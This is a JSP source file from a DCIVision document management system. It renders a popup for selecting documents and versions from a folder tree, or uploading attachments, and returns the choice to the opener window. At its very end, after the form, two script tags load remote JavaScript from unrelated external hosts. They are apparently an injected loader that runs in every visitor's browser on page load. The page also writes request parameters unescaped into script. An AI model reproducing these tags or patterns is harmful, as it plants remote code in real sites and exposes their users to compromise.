<%
/*
 * @(#)ListLookupFromParaDoc.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */
/**

  ListLookupFromParaDoc.jsp

  This is a ListLookupFromParaDoc page.  It allows multiple file to be selected.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      29/06/2004
    @version            $Revision: 1.35.4.10 $
*/

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listLookupFromParaDocForm" scope="request" class="com.dcivision.upload.web.ListLookupFromParaDocForm"/>

<%

  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsSelectSingleList";
  int  recordSize = 0;

  if(!Utility.isEmpty(request.getAttribute(LIST_NAME))){
    recordSize = ( (List)request.getAttribute(LIST_NAME) ).size();
  }

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.ver_number", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"}
                          };

  String rootID = listLookupFromParaDocForm.getRootID()==null? request.getParameter("rootID"): listLookupFromParaDocForm.getRootID();
  String parentID = listLookupFromParaDocForm.getParentID()==null? request.getParameter("parentID"): listLookupFromParaDocForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String selectedLocation = "";

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  List versionList = (ArrayList) request.getAttribute(LIST_NAME+"_versionList");

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();

   String sCurFunctionCode = listLookupFromParaDocForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listLookupFromParaDocForm.getCurFunctionCode();
   //Permission string
   String permission = (String)permissionManager.getPermission(conn,GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());
   DmsRoot personalRoot = (DmsRoot) rootRetrievalManager.getRootObjectByOwnerID(sessionContainer.getUserRecordID());
   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }

   if (permission=="PERSONAL" || permission.indexOf("Z")>-1 ) {
    bListVersion=true;
   }

   String displayDmsFileNames = "";
   String dmsFileNames ="";

   dmsFileNames = listLookupFromParaDocForm.getDmsFileNames();
   displayDmsFileNames = listLookupFromParaDocForm.getDisplayDmsFileNames();
   request.getSession().setAttribute("displayType","ListLookupFromParaDocForm");

   String[] fileOptionText = null;
   String[] fileOptionValue = null;

   if(!Utility.isEmpty(displayDmsFileNames)){
    fileOptionText = TextUtility.splitString(displayDmsFileNames,";");
   }

   if(!Utility.isEmpty(dmsFileNames)){
    fileOptionValue = TextUtility.splitString(dmsFileNames,GlobalConstant.FILENAME_SEPARATOR);
   }

%>
<script language="javascript">
<!--
var selectedFiles = "";
var SEPARATOR="<%=GlobalConstant.FILENAME_SEPARATOR%>";
selectedFiles = "<%=dmsFileNames%>";

function changeRoot(rootCombination) {
  addFile();
  var val = rootCombination.split(";");
  setHiddenValue(val[0], val[1]);
}

function updateTargetLocation(docID, docName) {
  var hiddenField = document.listLookupFromParaDocForm.selectedID;
  var displayField = document.listLookupFromParaDocForm.destinationPath;
  var displayStr = displayField.value;

  hiddenField.value = docID;
  displayField.value =  docName;

  return false;
}

function hideBlock(b) {
    FindObj(b).style.display = "none";
}

function showBlock(b) {
    FindObj(b).style.display = "block";
}

function OptFileSelection(){
	var tmpDiv=document.getElementById('lookupfromparadoc');
	var displayFlag=tmpDiv.style.display;
	if(displayFlag=="none"){
	  return copyFileNameAndSubmit();
	}
  var parent = window.opener;
  var displayFileNames = "";
  var fileNames = "";
  addFile();
  fileNames = document.listLookupFromParaDocForm.dmsFileNames.value;

  if (document.listLookupFromParaDocForm.selectedFileList.length == 0){
    alert("<bean:message key='upload.message.select_one_record_or_press_close_button'/>");
    return false;
  }

  for ( var i=0; i<document.listLookupFromParaDocForm.selectedFileList.length; i++){
    var currentSelectFile =document.listLookupFromParaDocForm.selectedFileList.options[i].value;
    var currentOptionArr=currentSelectFile.split(":");
    displayFileNames += currentOptionArr[1].substring(1,currentOptionArr[1].length-1)+";";
  }
  <%if (!Utility.isEmpty(listLookupFromParaDocForm.getFileNameSeqNo()) && !"null".equals(listLookupFromParaDocForm.getFileNameSeqNo())){%>
     opener.setDmsFileNamesValue(displayFileNames,fileNames,'<%=listLookupFromParaDocForm.getFileNameSeqNo()%>');
  <%}else{%>
     opener.setDmsFileNamesValueForWorkflow(displayFileNames,fileNames);
 <%}%>

  opener.focus();
  window.close();
}

function singleFileSelected() {
  var parent = window.opener;
  var displayVal = "";
  var hiddenVal = document.listLookupFromParaDocForm.selectedDoc.value;

  displayVal = selectMenu.options[0].text;
  var namePos = displayVal.indexOf(" (");
  var idPos = hiddenVal.indexOf(":");

  window.close();
}

function addFile(){
  var fileInfoValue = "";
  var fileInfoText = "";
  var tmpSelectedFilesValue = "";
  var tmpSelectedFilesText = "";
  var versionAry;
  var object = document.listLookupFromParaDocForm;
  var tempStr = "";

  if(!object.basicSelectedID){
    return;
  }

  if(object.basicSelectedID.length){
    for ( var i=0; i<object.basicSelectedID.length; i++){
    if(object.basicSelectedID[i].value=="-1"){
      continue;
    }

    if(object.basicSelectedID[i].checked){
        versionAry = object.fileVersion[i].value.split(";");
        for (var j=0; j<versionAry.length; j++){
          if(versionAry[j]==""){
            continue;
          }
          tempStr = versionAry[j];
          fileInfoValue = "[" + tempStr.substring(0,tempStr.indexOf("|")) + "]:[" +
            object.docName[i].value + "(" +
            tempStr.substring(tempStr.indexOf("|")+1) + ")" + "]:[" +
            object.itemSize[i].value + "]"+SEPARATOR ;
          fileInfoText = object.docName[i].value + "(" +
            tempStr.substring(tempStr.indexOf("|")+1) + ")" ;

          if(selectedFiles.indexOf(fileInfoValue) < 0){
            AddOption(object.selectedFileList, fileInfoText, fileInfoValue, false);
            selectedFiles += fileInfoValue +SEPARATOR;
          }
        }
        object.basicSelectedID[i].checked = false;
        object.fileVersion[i].options[0].selected = true;
      }
    }

  } else {
    if(object.basicSelectedID.checked){
    if(object.basicSelectedID.value=="-1"){
    }else{
        versionAry = object.fileVersion.value.split(";");

        for (var j=0; j<versionAry.length; j++){
          if(versionAry[j]==""){
            continue;
          }
          tempStr = versionAry[j];
          fileInfoValue = "[" + tempStr.substring(0,tempStr.indexOf("|")) + "]:[" +
            object.docName.value + "(" +
            tempStr.substring(tempStr.indexOf("|")+1) + ")" + "]:[" +
            object.itemSize.value + "]"+SEPARATOR ;
          fileInfoText = object.docName.value+ "(" +
            tempStr.substring(tempStr.indexOf("|")+1) + ")" ;

          if(selectedFiles.indexOf(fileInfoValue) < 0){
            AddOption(object.selectedFileList, fileInfoText, fileInfoValue, false);
            selectedFiles += fileInfoValue +SEPARATOR;
          }
        }
        object.basicSelectedID.checked = false;
        object.fileVersion.options[0].selected = true;
      }
    }
  }

  for ( var i=0; i<object.selectedFileList.length; i++){
    tmpSelectedFilesValue += object.selectedFileList.options[i].value;
    tmpSelectedFilesText += object.selectedFileList.options[i].text;
  }
  document.listLookupFromParaDocForm.dmsFileNames.value = tmpSelectedFilesValue;
  document.listLookupFromParaDocForm.selectedFilesText.value = tmpSelectedFilesText;
  object.PARADM_CB_ALL_NONE.checked = false;
 }

function checkSelected() {
    var bSelectedFile = false;
    var frm;
    var object = document.listLookupFromParaDocForm;
    if(!object.basicSelectedID){
      window.location.replace("<%=request.getContextPath()%>/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N&fileNameSeqNo=<%=request.getParameter("fileNameSeqNo")%>");
      return false;
    }
      for (var i = 0; i < document.forms.length; i++) {
          if (document.forms[i].name != "") {
              frm = document.forms[i];
          }
      }

  if(object.basicSelectedID.length){
    for ( var i=0; i<object.basicSelectedID.length; i++){
      if(object.basicSelectedID[i].checked){
       bSelectedFile=true;
      }
    }
   }else {
    if(object.basicSelectedID.checked){
       bSelectedFile=true;
    }
   }

   if (bSelectedFile) {
    if (confirm('<bean:message key="workflow.label.please_confirm_selected_files"/>')) {
      firstDmsFileSelect();
    }
  }

  window.location.replace("<%=request.getContextPath()%>/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N&fileNameSeqNo=<%=request.getParameter("fileNameSeqNo")%>");
 }

function firstDmsFileSelect(){
   var parent = window.opener;
  var displayFileNames = "";
  var fileNames = "";
  addFile();
  fileNames = document.listLookupFromParaDocForm.dmsFileNames.value;

  if (document.listLookupFromParaDocForm.selectedFileList.length == 0){
    alert("<bean:message key='upload.message.select_one_record_or_press_close_button'/>");
    return false;
  }

  for ( var i=0; i<document.listLookupFromParaDocForm.selectedFileList.length; i++){
    var currentSelectFile =document.listLookupFromParaDocForm.selectedFileList.options[i].value;
    var currentOptionArr=currentSelectFile.split(":");
    displayFileNames += currentOptionArr[1].substring(1,currentOptionArr[1].length-1)+";";
  }

  <%if (!Utility.isEmpty(listLookupFromParaDocForm.getFileNameSeqNo()) && !"null".equals(listLookupFromParaDocForm.getFileNameSeqNo())){%>
     opener.setDmsFileNamesValue(displayFileNames,fileNames,'<%=listLookupFromParaDocForm.getFileNameSeqNo()%>');
  <%}else{%>
     opener.setDmsFileNamesValueForWorkflow(displayFileNames,fileNames);
 <%}%>
}
-->
</script>
<layout:popupTitle titleKey ="upload.label.add_attachment"/>
<layout:tabContainer id="tab1">
  <layout:tabBar>
    <layout:tabPane id="lookupfromparadoc" title="upload.label.lookupfromparadoc" selected="true" />
    <layout:tabPane id="uploadattachement" title="upload.label.uploadattachement" />
  </layout:tabBar>
<div id="lookupfromparadoc" class="tabContent">
<!-- Form Section Begin -->
<html:form action="upload/ListLookupFromParaDoc" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property='formName'/>
<html:hidden property='hiddenFieldName'/>
<html:hidden property='displayFieldName'/>
<html:hidden property='dmsFileNames'/>
<html:hidden property='selectedID'/>
<html:hidden property='fileNameSeqNo'/>
<html:hidden property="pageViewOption"/>

<table width="100%">
  <tr><td valign="top">
  <!-- Table Showing Record List Begin -->
  <div style="border-right:1px solid #CCDDDD;">
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
  <% if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) { %>
  <td valign="top">
  <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListLookupFromParaDoc";
  String pageViewOption = listLookupFromParaDocForm.getPageViewOption();

  if(Utility.isEmpty(pageViewOption) || "null".equals(pageViewOption)){
    pageViewOption="";
  }
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listLookupFromParaDocForm.parentID.value=docID;
  document.listLookupFromParaDocForm.rootID.value=rootID;
  document.listLookupFromParaDocForm.pageViewOption.value="<%=pageViewOption%>";
  document.listLookupFromParaDocForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function setHiddenValue(parentID, rootID) {
  var targetLoc = tree.getFullPathString();

  document.listLookupFromParaDocForm.parentID.value=parentID;
  document.listLookupFromParaDocForm.rootID.value=rootID;
  document.listLookupFromParaDocForm.selectedID.value='';
  document.listLookupFromParaDocForm.submit();
}

//-->
</script>
<jsp:include page="/js/DMSTreeInclude.jsp">
  <jsp:param name="jspPageMappingName" value="ListLookupFromParaDoc"/>
  <jsp:param name="pageViewOption" value="<%=pageViewOption%>"/>
  <jsp:param name="rootFolderName" value="<%=rootFolder.getDocumentName()%>"/>
  <jsp:param name="rootFolderID" value="<%=rootFolder.getID()%>"/>
  <jsp:param name="parentID" value="<%=parentID%>"/>
  <jsp:param name="rootID" value="<%=rootID%>"/>
  <jsp:param name="isUrl" value="true"/>
  <jsp:param name="isShowShortCut" value="false"/>
  <jsp:param name="isNewTree" value="false"/>
  <jsp:param name="reserveParameter" value=""/>
  <jsp:param name="reserveParameter2" value=""/>
</jsp:include>
<!-- Hierarchy Tree End -->
  </td>
  <% } %>
  <td valign="top" width="90%" style="border-bottom:1px solid #CCDDDD;">
    <div id="listContainer" style="border-top:1px solid #CCDDDD;border-right:none;border-left:none;">
    <div id="dataGrid" class="listTable">
    <table>
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listLookupFromParaDocForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listLookupFromParaDocForm.getSortAttribute()%>" sortOrder="<%=listLookupFromParaDocForm.getSortOrder()%>" copyColumn="false"  editColumn="false" />
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <%DmsDocument tmpDmsDoc = (DmsDocument)dmsdocument;%>
    <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
      <td align="center"  width="20"><%
      List versionAvail = (ArrayList) versionList.get( listLoopCnt.intValue() );
      DmsVersion version = (DmsVersion) versionAvail.get(0);
      String readPermission = (String)permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_DOCUMENT, tmpDmsDoc.getID());
      if (Utility.isEmpty(readPermission) || readPermission.indexOf("R") < 0) {
      %>
      <html:img src='IconCheckboxDisable.gif' styleClass='disabledCheckbox'/>
      <input type="hidden" name="basicSelectedID" value='-1' />
      <%} else {%>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsdocument' property='ID'/>" onclick="return(false);"  >
      <%}%>
      </td>
      <td align="left">
       <input type="hidden" name="docName" value="<%=tmpDmsDoc.getDocumentName()%>">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>'/>
      </td>
      <input type="hidden" name="itemSize" value="<%=tmpDmsDoc.getItemSize()%>">
      <td align="left">
      <%  List tmpVersionList = tmpDmsDoc.getDmsVersionList();
          String topVersion = "";
          if (!Utility.isEmpty(tmpVersionList)) {
            DmsVersion topDmsVersion = (DmsVersion) tmpVersionList.get(tmpVersionList.size()-1);
            topVersion = topDmsVersion.getID()+"|"+topDmsVersion.getVersionNumber();
          }
       %>
        <select name="fileVersion">
        <option value="<%=topVersion%>"><bean:message key='workflow.label.top_version_only'/></option>
       <%
       for (int i=tmpVersionList.size()-1; i>-1; i--){
          DmsVersion dmsVersion = (DmsVersion) tmpVersionList.get(i);
          String sVersion = dmsVersion.getVersionNumber();
       %>

       <option value="<%=dmsVersion.getID()%>|<%=dmsVersion.getVersionNumber()%>"><html:summarizeContent key="<%=sVersion%>" limitLength="20" /></option>
       <%}%>

      </select>
      </td>
    </tr>
    </logic:iterate>
    <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
    <!-- Record Looping End -->
    <!-- Pager Information Begin -->
    <layout:pager form="listLookupFromParaDocForm" name='<%=LIST_NAME%>'>
    <tr>
      <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>" style="border-bottom:none;">
        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td width='100' style="border-bottom:none;">&nbsp;</td>
            <td align="center" style="border-bottom:none;">
              <layout:pagerInfo/>
            </td>
            <td align="right" style="border-bottom:none;">
              <nobr><layout:pagerIndex/></nobr>
            </td>
          </tr>
        </table>
      </td>
    </tr>
    </layout:pager>
    <!-- Pager Information End -->
  </table>
</div>
</div>
  </td>
  <!-- File Selected Begin -->
  <tr>
  <td>
  <div id="hidden" style="display:none">

  <table width="100%" cellpadding="0" cellspacing="0" border="0">
    <tr>
      <td rowspan="2">
        <a href="javascript://" onclick="addFile()"><html:img src='IconAdd.gif'/></a><br><br>
        <a href="javascript://" onclick="removeFile()"><html:img src='IconRemove.gif'/></a>
      </td>
      <td class="listContent0">&nbsp;<bean:message key="workflow.label.file_selected"/></td>
    </tr>
      <td>
        <select name="selectedFileList" size="8" style="width:160" multiple>
        <%if(!Utility.isEmpty(fileOptionText) && !Utility.isEmpty(fileOptionValue) ){
            for (int i=0;i<fileOptionValue.length; i++){%>
              <option name="123" value = "<%=fileOptionValue[i]+GlobalConstant.FILENAME_SEPARATOR%>"><%=fileOptionText[i]%></option>
        <%  }
          }
        %>
        </select></td>
        <input type="hidden" name="selectedFilesText" value="<%=displayDmsFileNames%>">
  </table>
  </div>
  </td>
  </tr>
  <!-- File Selected End  -->
  </tr></table>
</div>
</td>
  <!-- File Selected End  -->
</tr></table>

<!-- Table Showing Record List End -->

</html:form>
</div>
<div id="uploadattachement" class="tabContent" style="height:500px;">
	<%request.setAttribute(GlobalConstant.ACTION_MODE,GlobalConstant.NAV_MODE_EDIT);%>
	<jsp:include page="/jsp/upload/MultipleFileUpload.jsp">
  		<jsp:param name="fileNameSeqNo" value="<%=listLookupFromParaDocForm.getFileNameSeqNo()%>"/>
  		<jsp:param name="formName" value="<%=listLookupFromParaDocForm.getFormName()%>"/>
	</jsp:include>
</div>
</layout:tabContainer>
<div id="dis" style="display:none;">
<table width="100%">
	<tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" common="true" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" common="true" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" common="true" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" common="true" width="1" height="10"/></td>
  </tr>
</table>
</div>
<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.confirm" onClick="OptFileSelection()"/>
    <html:standardButton label="common.label.close" link="javascript:window.close();"/>
  </div>
</div>

<script>
<!--
function INIT(){
  hideBlock('hidden');
}
//-->
</script>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>